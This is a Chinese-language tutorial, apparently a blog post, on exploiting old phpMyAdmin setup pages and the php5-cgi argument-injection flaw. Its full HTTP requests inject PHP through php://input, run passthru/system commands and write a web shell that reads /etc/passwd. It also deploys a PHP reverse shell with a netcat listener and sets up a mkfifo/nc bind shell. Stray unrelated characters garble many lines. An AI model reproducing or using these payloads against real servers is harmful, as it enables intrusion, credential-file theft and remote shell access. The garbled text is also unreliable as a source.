早期phpMyAdmin服務(wù)器的一個(gè)漏洞
php服務(wù)器默認(rèn)安裝如果setup不禁用掉的話稽屏,可以不通過(guò)登陸賬號(hào)直接進(jìn)入到里面進(jìn)行配置
http://192.168.133.132/phpMyAdmin/setup/
通過(guò)post方法绢慢,修改PHP主配置文件橙垢,就可以執(zhí)行命令行對(duì)服務(wù)器進(jìn)行操作纱扭,php語(yǔ)言中passthru函數(shù)可以執(zhí)行操作系統(tǒng)的指令
1
http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 通過(guò)phpMyAdmin修改.ini主配置文件
1
POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
Content-Length: 34
passthru('ls');
die();
?>
打開(kāi)burpsuite峡迷,在repeater中執(zhí)行以上的代碼颇象,Go
就可以在右側(cè)返回的信息中看到執(zhí)行的結(jié)果
只要在passthru()方法中添加想要執(zhí)行的命令
甚至可以寫(xiě)文件伍伤,這樣我們就可以在目標(biāo)服務(wù)器中提交木馬等操作了。
一枚簡(jiǎn)單的木馬
利用的是位于phpMyAdmin/setup下的漏洞
1
POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
Content-Length: 100
passthru('echo "" > /var/www/2.php');
die();
?>
打開(kāi)burpsuite遣钳,在repeater中執(zhí)行以上的代碼扰魂,Go
passthru('cat /var/www/2.php');
查看剛才寫(xiě)的文件,返回發(fā)現(xiàn)寫(xiě)成功了
打開(kāi)l瀏覽器輸入
http://192.168.133.132/2.php?cmd=id
http://192.168.133.132/2.php?cmd=pwd
http://192.168.133.132/2.php?cmd=ls
http://192.168.133.132/2.php?cmd=cat /etc/passwd
你會(huì)發(fā)現(xiàn)這樣操作非常像在shell中執(zhí)行蕴茴,只要在變量"劝评?cmd="后面添加命令即可
php反彈shell
它在kali的位置
/usr/share/webshells/php/php-reverse-shell.php
修改一下,把IP換成本機(jī)的IP地址
然后將所有內(nèi)容復(fù)制下來(lái)復(fù)制到在burpsuite的body中
先不發(fā)送請(qǐng)求倦淀,打開(kāi)一個(gè)終端輸入 nc -nvvlp 1234 偵聽(tīng)這個(gè)端口號(hào)蒋畜,再發(fā)送請(qǐng)求
于是就建立了連接,就可以在終端上操作php的服務(wù)器了撞叽,和在自己終端上操作差不多
有時(shí)候會(huì)發(fā)現(xiàn)有些命令執(zhí)行不了姻成,比如ifconfig插龄,這是因?yàn)楝F(xiàn)在的用戶權(quán)限下,有些命令的環(huán)境變量沒(méi)有設(shè)置好佣渴,我們可以查找到這個(gè)命令的位置辫狼,然后執(zhí)行它
cd /sbin
./ifconfg
就能執(zhí)行了
又一枚木馬
這個(gè)利用ubuntu/debian默認(rèn)安裝的php5-cgi的漏洞
可直接訪問(wèn)/cgi-bin/php5和/cgi-bin/php ,這兩個(gè)目錄位于操作系統(tǒng)的根目錄下
辛润,而不是在web的根目錄下
膨处,它們不會(huì)在網(wǎng)頁(yè)頁(yè)面上顯示,所以這些目錄用掃描工具是爬網(wǎng)爬不出來(lái)的砂竖,但是他們是可以被訪問(wèn)的真椿。
打開(kāi)burpsuite,輸入
1
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 50
echo system('cat /etc/passwd');
die();
?>
1
2注:%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
這一串是經(jīng)過(guò)編碼之后的內(nèi)容乎澄,對(duì)它解碼會(huì)發(fā)現(xiàn)是這些內(nèi)容突硝,為為什么要這樣編碼呢?是因?yàn)閜hp服務(wù)器進(jìn)行了一些過(guò)濾機(jī)制,如果用明文還執(zhí)行不成功置济。
1
一定要有host,后面的內(nèi)容可以隨便填
Host: 123
go
在服務(wù)器上打開(kāi)一個(gè)偵聽(tīng)端口
echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 444| > /tmp/pipe');
php服務(wù)器開(kāi)啟一個(gè)端口等待連接
然后打開(kāi)一個(gè)終端用nc連接解恰,就拿到shell了